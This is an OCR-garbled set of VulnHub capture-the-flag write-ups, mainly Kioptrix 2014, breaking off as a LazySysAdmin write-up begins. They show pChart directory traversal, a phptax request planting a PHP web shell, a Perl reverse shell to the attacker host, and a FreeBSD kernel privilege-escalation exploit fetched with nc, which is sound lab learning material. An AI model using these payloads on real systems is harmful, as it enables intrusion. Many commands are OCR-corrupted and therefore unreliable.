80/tcp open  http syn-ack ttl 64 Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21
< OpenSSL/0.9.8q DAV/2 PHP/5.3.8)

| _http-title: Site doesn't have a title (text/html).

8080/tcp open  http syn-ack ttl 64 Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21
< OpenSSL/0.9.8q DAV/2 PHP/5.3.8)

| http-methods:

| _ Supported Methods: HEAD

| _http-title: 403 Forbidden

MAC Address: 00:0C:29:0B:79:90 (VMware)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 9 12:12:28 2019 -- 1 IP address (1 host up) scanned in 35.43 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

4~ oOpenports

# Port Protocol Service Scans

./results/192.168.92.185/scans/tcp_8@80_http_nikto.txt
./results/192.168.92.185/scans/tcp_808@_http_nmap.txt
./results/192.168.92.185/scans/tcp_80@8@_http_robots. txt
./results/192.168.92.185/scans/tcp_8680_http_whatweb. txt
b 1% 8o/tcp tcpwrapped ttl 64 ./results/192.168.92.185/scans/tcp_80_http_gobuster.txt
./results/192.168.92.185/scans/tcp_80_http_nikto.txt
./results/192.168.92.185/scans/tcp_80_http_nmap.txt
./results/192.168.92.185/scans/tcp_80_http_robots.txt
./results/192.168.92.185/scans/tcp_8@_http_whatweb.txt
/results/192.168.92.185/scans/tcp_B8080_http_nikto.txt
P &5 BOBO/tcp tcpwrapped ttl 64 Jfresults/192.168
Jresults/192.

¥ - 14 /109 J 1
Jresults/192.168.92.

)_http_nmap.txt

ins/tcp_8080_http_robots. txt
5/scans/tcp_B@B@_http_whatweb.txt

Figure 3: writeup.enumeration.steps.2.1

3. While exploring the 80/tcp service, we find a HTML comment that points to pChart2.1.3/index.php:


https://github.com/Tib3rius/AutoRecon

@& NewTab X | 192.168.92.185/ X

& 5 @  ® 192168.92.185

links

It works!

Figure 4: writeup.enumeration.steps.3.1

@ New Tab X | 192.168.92.185/ X | http://192.168.92.185/

—~ — f@ | @ view-source:http://192.168.92.185/
B3 links

<html=>
<head=

oo -

<META HTTP-EQUIV="refresh" CONTENT="5; [ Hisldi=]ueSuues Fuals - gy " >

-
</head=

<body=

<hl=It works!</hl=>

</body=>
</html=>

Figure 5: writeup.enumeration.steps.3.2



@& NewTab b | 192.168.92.185/ X | http://192.168.92.185/

X

& = @ | @ 192.168.92.185/pChart2.1.3/examples/index.php
B links

2] Examples =] sandbox =] pelayed loader [S] Image Map

Release 2.1.3 [lly Rendering area
=] Examples folder contents
|2 Area Chart
|| Bar Chart
|| Barcode
[--| Bubhle chart
=] Comba @ Click on an example to get its source!
|- Drawing
[~ Labels
2| Line chart

@ Click on an example to render it!

= source area

|| Mathematical
|25 Misc

|zl Pie charts

|| Plot chart

|| Polar and radars
=5 Progress bars
|Z5] Secaling

|==| Scatter chart
|_| Spline chart
|-/ Split chart

|| Spring chart
|| Stacked chart
|| S5tep chart

2| Stock chart
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Figure 6: writeup.enumeration.steps.3.3

Findings
Open Ports

pChart 2.x - examples rende; X

80/tcp | http | Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2

» PHP/5.3.8)

8080/tcp | http | Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2

-~ PHP/5.3.8)



Phase #2: Exploitation

1. We use searchsploit to look for pChart exploits and find a directory traversal exploit. We use this exploit to
view the contents of the /etc/passwd file:

searchsploit pchart
searchsploit -x 31173
http://192.168.92.185/pChart2.1.3/examples/index.php?Action=View&Script=/../../etc/passwd

root@kali: ~/toolbox/data/writeups/vulnhub.kioptrixs # ss pchart

Exploit Title | Path
| (/usr/share/exploitdb/)

shellcodes: No Result
root@kali: ~/toolbox/data/writeups/vulnhub.kioptrixs #

Figure 7: writeup.exploitation.steps.1.1

Exploit Title: pChart 2.1.3 Directory Traversal and Reflected X5S
Date: 2014-01-24

Exploit Author: Balazs Makany

Vendor Homepage: www.pchart.net

Software Link: www.pchart.net/download

Google Dork: intitle:"pChart 2.x - examples" intext:"2.1.3"
Version: 2.1.3

Tested on: N/A (Web Application. Tested on FreeBSD and Apache)
CVE : N/A

o oW oFR oK W W W

[B8] Summary:

PHP library pChart 2.1.3 (and possibly previous versions) by default
contains an examples folder, where the application is wvulnerable to
Directory Traversal and Cross-Site Scripting (XSS).

It is plausible that custom built production code contains similar
problems if the usage of the library was copied from the examples.
The exploit author engaged the vendor before publicly disclosing the
vulnerability and consequently the vendor released an official fix
before the vulnerability was published.

[1] Directory Traversal:

"hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd"
The traversal is executed with the web server's privilege and leads to

sensitive file disclosure (passwd, siteconf.inc.php or similar),

access to source codes, hardcoded passwords or other high impact

consequences, depending on the web server's configuration.

This problem may exists in the production code if the example code was

copied into the production environment.

Directory Traversal remediation:

1) Update to the latest version of the software.

2) Remove public access to the examples folder where applicable.
3) Use a Web Application Firewall or similar technology to filter
malicious input attempts.

Figure 8: writeup.exploitation.steps.1.2
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@ New Tab X | 192.168.92.185/ X | http://192.168.92.185/ x| pChart 2.x - examples rende X ‘ 192.168.92.185/pChart2. 1.5/ X

&= @ | © 192.168.92.185/pChart2.1.3/examples/index.php? Action=View&Script=/../../etc/passwd
S links

# SFreeBSD: release/9.0.0/etc/master.passwd 218047 2011-01-28 22:29:38Z pjd $

#

root:*:0:0:Charlie &:/root:/bin/csh

toor:*:0:0:Bourne-again Superuser:/root:

daemon:*:1:1:0wner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:5ystem &:/:/usr/sbin/nologin

bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tiy:*:4:65533: Tty Sandbox:/:/usr/sbin/nologin

kmem: *:5:65533 :KMem Sandbox:/:/usr/sbin/nologin

games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nolegin

man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:5endmail Submission User:/var/spool/clientmqueue: /usr/sbin/nologin
mailnull:*:26:26:5endmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin

proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/shbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin

uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nolegin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/shin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysgl:/usr/sbin/nologin
ossec:*:1001:1601:User &:/usr/local/ossec-hids:/sbin/nologin
ossecm:*:1002:1001:User &:/usr/local/ossec-hids:/sbin/nologin
0ssecr:*:1003:1001:User &:/usr/local/ossec-hids:/sbin/nologin

Figure 9: writeup.exploitation.steps.1.3

2. We use the directory traversal vulnerability to look for the Apache configuration file as 8080/tcp is returning a

403 Forbidden code:

http://192.168.92.185/pChart2.1.3/examples/index.php?Action=View&Script=/../../usr/local/etc/

< apache22/httpd.conf
SetEnvIf User-Agent ~Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">
Options Indexes FollowSymLinks
AllowOverride All
Order allow,deny
Allow from env=Mozilla4 browser
</Directory>



@ New Tab X | 192.168.92.185/ X | http://192.168.92.185/ ¥ | pChart 2.x - examples rende: X | 192.168.92.185/pChart2.1.5 X

(— — @ | ® 192.168.92.185/pChart2.1.3/examples/index.php?Action=View&Script=/../../usr/local/etc/apache22/httpd.conf

B3 links

# Language settings
#Include etc/apache22/extrashttpd-languages.conf

# User home directories
#Include etc/apache22/extrashttpd-userdir.conf

# Real-time info on requests and configuration
#Include etc/apache22/extra/httpd-info.conf

# virtual hosts
#Include etc/apache22/extra/httpd-vhosts.conf

# Local access to the Apache HTTP Server Manual
#Include etc/apache22/extra/httpd-manual.conf

# Distributed authoring and versioning (WebDAV)
#Include etc/apache22/extrashttpd-dav.conf

# Various default settings
#Include etc/apache22/extrashttpd-default.conf

# Secure (55L/TLS) connections
#Include etc/apache2z/extra/httpd-ssl.conf

#

# Note: The following must must be present to support

# starting without SSL on platforms with no /dev/random equivalent
# but a statically compiled-in mod_ssl

#

<IfModule ss1_module>
SSLRandomSeed startup builtin
SSLRandomSeed connect builtin
</IfModule=

SetEnvIf User-Agent “Mozilla/4.0 Mozillad browse

<VirtualHost *:8080=
DocumentRoot /usr/local/www/apache22/data2|

<Directory "/usr/local/www/apache22/dataz"
Options Indexes FollowSymLinks|
AllowOverride ALl

order allow,den
Allow from env=Mozillad browse
</Director

Figure 10: writeup.exploitation.steps.2.1

3. The web server is configured to only allow clients with a user-agent string starting with the Mozilla/4.0 string.
We use Burp proxy to make a request to the 8080/tcp service:

Go Caneal </ > Target: http://192.168.92.185:8080 EJ

Request Response

Baw | Headers | Hex Raw | Headers | Hex | HTML | Render

GET | HITE 1.1 ] HITE/ 1.1 200 OF
Hoot: 192.168.92.185:8080 " Date: wed, 09 oct 3019 22:46:40 Gur
User-zgent: Mozilla/4.0 (x11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0 server: ipache/2.2.21 (FreeBsn) mod_ess1/2.2.21 OpenssL/0.9.8q DAV/2 PHP/5.3.8
mecept: text/html,application/xhtml+xnl,application/xml;gq=0.9,+/+;q=0.8 content-Length: 201
Accept-Language: en-Us,en;g=0.5 Connection: close
Rccept-Eneoding: gzip, deflate Content-Type: text/html;charset=I50-8859-1
DT 1
connection: close < /DOCTYPE HTML PUBLIC "- W3c//oTD BTML 3.2 Final//En=>
vpgrade- Insecure-Requeata: 1 <html>
cache-control: max-age=0 <head>
<titlerIndex of /</title>

</head>
<hody >
<hl>Index of /</hl>
<ul=<li><a href='phptax/"> phptax/</a»</li>
</ul>
< /body=</html >

Figure 11: writeup.exploitation.steps.3.1

4. Now that we can talk to the 8080/tcp service, we find a reference to the /phptax/ web application on this server.
We find a remote code execution vulnerability for phptax and leverage it to get command execution:



searchsploit phptax
searchsploit -x 25849
GET /phptax/index.php?field=rce.phpé&newvalue=73C}3Fphp/20passthru(%24_GET/5Bcmd’5D) %3B/3F/3E
-+ HTTP/1.1
Host: 192.168.92.185:8080
User-Agent: Mozilla/4.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
GET /phptax/data/rce.php?cmd=uname}20-a HTTP/1.1
Host: 192.168.92.185:8080

root@kali: ~/toolbox/data/writeups/vulnhub.kioptrixs # ss phptax

| Path
| (/usr/share/exploitdb/)

6.8 - File Manipulation |
9.8 - Remote Code Execution |
- 'pfilez' Execution Remote Code Injection (Metasploit)

exploits/php/webapps /21665 . txt
exploits/php/webapps/21833. rb

Shellcodes: No Result
root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix5 #

Figure 12: writeup.exploitation.steps.4.1

R R R R R R R R
#EXPLOIT

<7php
$options = getopt('u:');

if(lisset($options['u']))
die("\n Usage example: php exploit.php -u http://target.com/ \n"};

$url $options['u'];
FEO RN | turl} /index. php?field=rce.php&newvalue=%3C%3Fphp%2@passthru(%24 GET%5Bcmd%5D)%3B%3F%3ERE

$headers = array('User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.8)°',
'Content-Type: text/plain');

echo " [+] Submitting request to: {$options['u']}\n";
$handle = curl init(};

curl_setopt($handle, CURLOPT URL, $url);

curl setopt($handle, CURLOPT HTTPHEADER, $headers);

curl setopt($handle, CURLOPT RETURNTRANSFER, true);

$source = curl exec($handle);
curl close($handle);

if(!strpos{$source, 'Undefined variable: HTTP RAW POST DATA') && @fopen($shell, 'r'))
echo " [+] Exploit completed successfully!\n";

echo " \n\n {$url}/data/rce.php?cmd=id\n";
}

Figure 13: writeup.exploitation.steps.4.2
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Ge Cancel < v >\ Target: http://192.168.92.185:8080 u|

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET ] HITE/1.1 200 OK
/phptax/index.php? field=rce. phpanewvalue=%3ck3Fphpt2Opacs thiu (%2 4_GETE5Bcnd%5D) %3653 - pate: Wed, 09 oOct 2019 2%:40:23 GMI
FA3E HITE/1.1 server: apache/2.2.21 (FreeBSD) mod =s1/2.2.21 OpenSsL/0.9.8g DAV/2 PHB/5.3.8
Host: 192.168.92.185:8080 ¥-Powersd-By: FHE/5.3.8
User-agent: Mozilla/4.0 (X11; Linux i686; rvi60.0) Gecka/20100101 Firefox/60.0 connection: close
Accept: text/html,application/zhtml+xml,application/xml;g=0.9,4/+:q=0.8 content-Type: text/html
Accept-lLanguage: en-Us,en;g=0.5 content-Length: 11974
Accept-Encoding: gzip, deflate
pHT: 1 <html><title>PHPTAX by William L. Berggren 2003 (c)</titles
connection: close <body bgeolor='777777' link='000000" v1link='000000' alink='000000"'>
upgrade- Ingecure-Requesta: 1 <table cellpadding='2' cellspacing='0' border='1' width='780' bgcolor='#999900" >
cache-Control: max-age=0 <thody><tr height='660'><td valign='top' width='3280' bgcolor='#EfccO0 ><img
border=0 sres'. /pictures/phptax.png' alt='phptax'><a
href=tindex. php?pfilez=1040pgl.tob' ><ing border=0
are='./pictures/1040icol.png alt='tinyl040! ></a><a
href=+vindex.phpzpfilez=1040pgl. tobspdf=make'><img border=0
gre='./pictures/makepdfl.pngtalt='take POF'></a><a
href=t. /data/pdf/1040pgl.pdf ><img border=0 src='. /pictures/viewpdf?. png'alt='vake

Figure 14: writeup.exploitation.steps.4.3

| 6o cancal < lw > v Target: http://192.168.92.185:8080 [;’\

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET /phptax/data/rce.php?omd=unames20-a HITP/ 1.1 ] HITE/1.1 200 OK
Homt: 192.168.92.185:2080 Date: d, 09 oct 2019 22:42:38 GMT
User-Agent: Momilla/4.0 (¥11; Linux i68B6; Tv:60.0) Gecko/20100101 Firefox/60.0 Server: Apache/2.2.21 (FresRsD) mocd_ssl/2.2.21 Openstl/0.9.8q DAV/2 PHE/5.3.8
Accept: text/html,application/shtml+xml,application/sml;q=0.9 +/ *;q=0.8 X-Powered-Ry: PHE/5_ 3.8
Accept-Language: en-us,en:qg=0.5 content-Length: 155
Accept-Encoding: gzip, deflate connesction: close
ooT: 1 Content-Type: text/html
Connection: close
upgrade- Insecure-Requests: 1 FreeBsD kioptrix2014 0.0-RELEASE FreeBsD 0.0-RELEASE #0: Tue Jan 3 07:46:30 UTc
cache-control: max-age=0 2012 rootefarrell.cse.buffalo. edu: fusr/obj/usr/sro/sys/GENERIC amdéd

Figure 15: writeup.exploitation.steps.4.4

5. We find that the remote system is FreeBSD 9. We tried Bash and Python reverse shells but both failed and as
such we fall back on a Perl reverse shell for interactive access:

perl reverse shell (decoded): perl -MIO -e '$p=fork;exit,if($p);$c=new
o I0::Socket::INET(PeerAddr,"192.168.92.183:443") ;STDIN->fdopen($c,r) ;$~->fdopen($c,w) ;system$_
< while<>;'

perl reverse shell (url encoded): perl’20-MI0}20-e%20%27%24p/3Dfork),3Bexit2Cif%28724p%297%3B
o 24C%3DneW%20I0%3A%3ASOCket%3A%3AINET%QSPeerAddr%QC%QZ192.168.92.183%3A443%22%29%3BSTDIN—%J
< 3Efdopen’%28/24c%2Cr%29%3BY,24~-,3Efdopen’,28%24c2Cu’,29%3Bsystem’,24_7%20while’3C%3E/3B%27

nc -nlvp 443
GET /phptax/data/rce.php?cmd=perl720-MI0%20-e%20%27%24p%3Dfork’3Bexit)2Cif}28%24p%29%3B%24c |
o 3Dnew%20ID%3A%3ASOCket%3A%3AINET%28PeerAddr%QC%Z2192.168.92.183%3A443%22%29%3BSTDIN—%J
< 3Efdopen’28%24c’2Cr’,29%3B%24~-,3Efdopen’,28%24c,2Cu’29%3Bsystem’,24_720while’3C%3E%3B%27
~ HTTP/1.1
Host: 192.168.92.185:8080
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Go ancel < lms > v Target: http://192.168.92.185:8080 L;J

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex ]
GET s HTTE/L.1 200 OK
/phptax/data/rce.phprend=perli20-MI0%20- e%20%27824pR30forkA3Bex it 2CifY2824pR29936%2 r Date: wWed, 03 Ooct 2019 22:51:45 GMT

4c%3IDNews20T0%3A%3AG0CketS AR IATHRTS 2 BPeerAddrs2C%22192. 168,92, 183%32443%22%29%3B5TD ser : Apache/2.2.21 (FreeBsD) mod_ss1/2.2.21 OpensSsSL/0.9.8q DAV/3 PHE/5.3.8

syntemtii_%20whiles3chin %-powersd-By: PHE/5.3.8

10-%3Efdopen%28% 2402 2CT%29%3B%24~ - R3Efdopen% 2 B%2 402 Cw%29%3

%3B%27 HTTR/1.1 content-Length: 0

Host: 192.168.92.185:8080 Connection: clome
Uaer-igent: Mozilla/4.0 (¥11; Linux i686; rv:60.0) Gecko/ /20100101 Firefox/60.0 Content-Type: text/html

Accept: text/html,application/xhtnl+xml, application/xml;q=0.9,+/+;q=0.8
Accept-language: en-us,en;g=0.5

Accept-Encoding: gzip, deflate

nHT: 1

Connection: close

upgrade- Ingecure-Requenta: 1

cache-control: wax-age=0

Figure 16: writeup.exploitation.steps.5.1

root@kali: ~/toolbox/data/writeups/vulnhub.kioptrix5 # nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.92.183] from (UNKNOWN) [192.168.92.185] 28495

id

uid=80(www) gid=80(www) groups=80 (www)

uname -a

FreeBSD kioptrix2014 9.8-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu: /usr/obj/usr/src/sys/GENERIC amd64
ifconfig

em@: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric @ mtu 1500
options=9b<RXCSUM, TXCSUM, VLAN_MTU,VLAN_ HWTAGGING, VLAN_ HWCSUM>
ether 00:0¢c:29:0b:79:90
inet 192.168.92.185 netmask exffffffee broadcast 192.168.92.255
nd6é options=29<PERFORMNUD, IFDISABLED,AUTO LINKLOCAL>
media: Ethernet autoselect (1800baseT <full-duplex=)
status: active

plip@: flags=8818<POINTOPOINT,SIMPLEX,MULTICAST> metric © mtu 1500
nd6é options=29<PERFORMNUD, IFDISABLED,AUTO LINKLOCAL>

1lo@: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> metric @ mtu 16384
options=3<RXCSUM, TXCSUM>
inet6é ::1 prefixlen 128
inet6 fe8@::1%lo@ prefixlen 64 scopeid 0x3
inet 127.0.0.1 netmask 0xffoee000
nd6 options=21<PERFORMNUD,AUTO LINKLOCAL>

ipfwe: flags=8801<UP,SIMPLEX,MULTICAST> metric @ mtu 65536
nd6 options=21<PERFORMNUD,AUTO_LINKLOCAL>

Figure 17: writeup.exploitation.steps.5.2

Phase #2.5: Post Exploitation

www@kioptrix2014> id
1uid=80(www) gid=80(www) groups=80 (www)
www@kioptrix2014>
www@kioptrix2014> uname
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UIC 2012
s root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd6/
www@kioptrix2014>
www@kioptrix2014> ifconfig
em0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric O mtu 1500
options=9b<RXCSUM, TXCSUM, VLAN_MTU,VLAN_HWTAGGING,VLAN_HWCSUM>
ether 00:0c:29:0b:79:90
inet 192.168.92.185 netmask Oxffffff00 broadcast 192.168.92.255
nd6 options=29<PERFORMNUD,IFDISABLED,AUTO_LINKLOCAL>
media: Ethernet autoselect (1000baseT <full-duplex>)
status: active
www@kioptrix2014>
www@kioptrix2014> users
root
toor
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Phase #3: Privilege Escalation

1. While exploring the system, we look for privilege escalation exploits for FreeBSD 9 and find two hits. Since the
target system doesn’t have wget or curl we fallback on nc to download the exploit file. Once compiled, we execute
the exploit and get elevated access:

searchsploit freebsd 9.0
searchsploit -x 28718

nc -nlvp 9999 <28718.c

nc 192.168.92.183 9999 >28718.c
gcc -o 28718 28718.c

./28718

root@kali: # ss freebsd 9.0
| Path
| (/usr/share/exploitdb/)

< 9.1 - 'mmap/ptrace’ Local Privilege Escalation exploits/
(SRET Kernel Privilege Escalation exploits,

/local/26368.c
|/ loc 18.c

Shellcodes: No Result
root@kali: #

Figure 18: writeup.privesc.steps.1.1

root@kali: # nc -nlvp 9999 <28718.c
listening on [any] 9999

connect to [192.168.92.183] from (UNKNOWN) [192.168.92.185] 18267

Figure 19: writeup.privesc.steps.1.2

which nc
Jusr/bin/nc

nc 192.168.92.183 9999 =28718.c

Figure 20: writeup.privesc.steps.1.3
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gcc -o 28718 28718.c

1s -la

total 120
o rwWR IrwWX rwx 9 www wheel 512 Oct 9 19:00
d FWX MW rwWx 8 www wheel 512 Mar 28 26014 ..
drwxrwxrwx 12 www wheel 512 May 7 2083 1048
SMWXr-Xr-x 1 www wheel 10406 Oct 9 19:80 28718
-MwW-r--r-- 1 www wheel 5563 Oct 9 18:58 28718.c
d rwx rwx rwx 2 www wheel 512 May 7 2083 SchA
drwx rwxrwx 2 www wheel 512 May 7 2083 SchB
d rwX rwx rwx 6 www wheel 512 May 7 20603 SchD
d rwx rwx rwx 4 www wheel 512 May 7 2003 SchD1l
d rwx rwx rwx 7 www wheel 512 May 7 2083 w2
drwx rwxrwx 2 www wheel 1536 Mar 26 2014 pdf
=MW=F==F== 1 www wheel 29 0Oct 9 18:40 rce.php
Figure 21: writeup.privesc.steps.1.4

./28718

[+] SYSRET FUCKUP!!

[+] Start Engine...

[+] Crotz...

[+] Crotz...

[+] Crotz...

[+] Woohoo!!!

id

uid=0(root) gid=0(wheel) groups=08(wheel)

Eczzgséakioptrix2614 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64

ifconfig

em@: flags=8843<UP,BROADCAST, RUNNING,SIMPLEX,MULTICAST> metric © mtu 1508
options=9b<RXCSUM, TXCSUM,VLAN MTU,VLAN HWTAGGING,VLAN HWCSUM>
ether 00:0c:29:0b:79:90
inet 192.168.92.185 netmask Oxffffffoe@ broadcast 192.168.92.255
nd6 options=29<PERFORMNUD, IFDISABLED,AUTO LINKLOCAL>
media: Ethernet autoselect (1000baseT <full-duplex=)
status: active

plipe: flags=8810<POINTOPOINT,SIMPLEX,MULTICAST> metric © mtu 1500
nd6 options=29<PERFORMNUD,IFDISABLED,AUTO LINKLOCAL>

lo@: flags=80849<UP,LO0PBACK,RUNNING,MULTICAST> metric @ mtu 16384
options=3<RXCSUM, TXCSUM=>
inet6 ::1 prefixlen 128
inet6 fe8@::1%1o@ prefixlen 64 scopeid ©x3
inet 127.0.0.1 netmask oxffoe0000
nd6 options=21<PERFORMNUD,AUTO LINKLOCAL>

ipfwe: flags=88081<UP,SIMPLEX,MULTICAST> metric © mtu 65536
nd6 options=21<PERFORMNUD,AUTO LINKLOCAL>

Figure 22: writeup.privesc.steps.1.5

2. We can now view the congrats.txt file to complete the challenge:

1 cat /root/congrats.txt
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cat /root/congrats.txt
If you are reading this, it means you got root (or cheated).
Congratulations either way...

Hope you enjoyed this new VM of mine. As always, they are made for the beginner in
mind, and not meant for the seasoned pentester. However this does not mean one
can't enjoy them.

As with all my VMs, besides getting "root" on the system, the goal is to also

learn the basics skills needed to compromise a system. Most importantly, in my mind,
are information gathering & research. Anyone can throw massive amounts of exploits
and "hope" it works, but think about the traffic.. the logs... Best to take it

slow, and read up on the information you gathered and hopefully craft better

more targetted attacks.

For example, this system is FreeBSD 9. Hopefully you noticed this rather quickly.
Knowing the 0S gives you any idea of what will work and what won't from the get go.
Default file locations are not the same on FreeBSD versus a Linux based distribution.
Apache logs aren't in "/var/log/apache/access.log", but in "/var/log/httpd-access.log".
It's default document root is not "/var/www/" but in "/usr/local/www/apache22/data".
Finding and knowing these little details will greatly help during an attack. 0f course
my examples are specific for this target, but the theory applies to all systems.

As a small exercise, look at the logs and see how much noise you generated. Of course
the log results may not be accurate if you created a snapshot and reverted, but at least
it will give you an idea. For fun, I installed "OSSEC-HIDS" and monitored a few things.
Default settings, nothing fancy but it should've logged a few of your attacks. Look

at the following files:

/root/folderMonitor. log

Jroot/httpd-access.log (softlink)

/root/ossec-alerts.log (softlink)

Figure 23: writeup.privesc.steps.2.1
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[VulnHub] LazySysAdmin: 1

Date: 29/Oct/2019

Categories: oscp, vulnhub, linux
Tags: enumerate app_ wordpress, exploit__smb_ nullsession, exploit_ smb_web_root, exploit_ php_ reverseshell,

exploit__credsreuse, exploit_ wordpress_template, privesc_ sudo

Overview

This is a writeup for VulnHub VM LazySysAdmin: 1. Here are stats for this machine from machinescli:

machinescli -t --info lazysys

# ID Name Rating Difficulty 0S 0SCPlike Owned TTPs

1. vulnhub#205 LazySysAdmin: 1 @ [}

privesc_sudo

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:

LazySysAdmin: 1
192.168.92.191

Y
Phase #1: Enumeration‘

v v v v v v v
80/tcp 137/udp | | 139/tcp | | 445/tcp \ 3306/tcp \ ‘6667/1::;: ‘ 22/tcp
|

L ¥ v ! v v
http://192.168.92.191/robots.txt http://192.168.92.191/deets. txt http://192.168.92.191/wordpress ‘open smb share, maps to web root Phase #2: Exploitation

y v ¥ % 2 v
password: 12345 | | deet.txt looks interesting | wp-config.php has hardcoded mysql creds | local user togie exists ssh creds reused for wordpress login ssh login successful using togie/12345

v v
wordpress (admin) ssh (togie)
v X
edit 404.php to get interactive access Phase #3: Privilege Escalation
v ’
netcat (www-data) user can execute any command as root
Y
J sudo bash

¥
/root/proof.txt

Figure 2: writeup.overview.killchain

TTPs
1. 22/tcp/ssh/OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0): privesc_sudo
2. 80/tcp/http/Apache httpd 2.4.7 ((Ubuntu)): enumerate app_ wordpress, exploit_credsreuse, ex-

ploit_ php_ reverseshell, exploit_ wordpress_ template
3. 139/tcp/netbios-ssn/Samba smbd 3.X - 4.X (workgroup: WORKGROUP): exploit smb_nullsession, ex-

ploit_smb_ web_ root


https://www.vulnhub.com/entry/lazysysadmin-1,205/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=enumerate_app_wordpress&unscoped_q=enumerate_app_wordpress
https://github.com/7h3rAm/writeups/search?q=exploit_smb_nullsession&unscoped_q=exploit_smb_nullsession
https://github.com/7h3rAm/writeups/search?q=exploit_smb_web_root&unscoped_q=exploit_smb_web_root
https://github.com/7h3rAm/writeups/search?q=exploit_php_reverseshell&unscoped_q=exploit_php_reverseshell
https://github.com/7h3rAm/writeups/search?q=exploit_credsreuse&unscoped_q=exploit_credsreuse
https://github.com/7h3rAm/writeups/search?q=exploit_wordpress_template&unscoped_q=exploit_wordpress_template
https://github.com/7h3rAm/writeups/search?q=privesc_sudo&unscoped_q=privesc_sudo
https://www.vulnhub.com/entry/lazysysadmin-1,205/
https://github.com/7h3rAm/machinescli
https://github.com/7h3rAm/writeups#privesc_sudo
https://github.com/7h3rAm/writeups#enumerate_app_wordpress
https://github.com/7h3rAm/writeups#exploit_credsreuse
https://github.com/7h3rAm/writeups#exploit_php_reverseshell
https://github.com/7h3rAm/writeups#exploit_php_reverseshell
https://github.com/7h3rAm/writeups#exploit_wordpress_template
https://github.com/7h3rAm/writeups#exploit_smb_nullsession
https://github.com/7h3rAm/writeups#exploit_smb_web_root
https://github.com/7h3rAm/writeups#exploit_smb_web_root
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Tue Oct 29 11:18:00 2019 as: mmap —vv —--reason —Pn -sV -sC
o —-wversion-all -olN
s /root/toolboz/writeups/vulnhub. lazysysadminl/results/192.168.92.191/scans/_quick_tcp_nmap.tzt
o —oX
s /root/toolboz/writeups/vulnhub. lazysysadminl/results/192.168.92.191/scans/zml/_quick_tcp_nmap.zml
o 192.168.92.191
Nmap scan report for 192.168.92.191
Host is up, received arp-response (0.019s latency).
Scanned at 2019-10-29 11:18:03 PDT for 27s
Not shown: 994 closed ports
Reason: 994 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 6.6.1pl1 Ubuntu 2ubuntu2.8 (Ubuntu Linux;
< protocol 2.0)
| ssh-hostkey:
| 1024 15:38:66:0f:al:ee:cd:41:69:3b:82:cf:ad:al:£7:13 (DSA)
| ssh-dss AAAABBNzaC1kcBMAAACBAKXQVTTRKSDhYWPdeZQBDTjKcCtJ7SnWOBHWbBVIdUVOh7ZjZGXjkEJ4TkT/Y+J
o 1JUolKMMNDu+CNPrRNKnyjQ5W13m07/3mKh9p52szG6XFS2m7GI4CLiDbmjO9L/YhU5deFP1B002KXZREp/ipZ/J
o CVer8IZm/x7SbPthv1AAAAFQDorLYH3ADwt18+szxGOOf2SarWQAAAIEAmOm6aWDLi+J
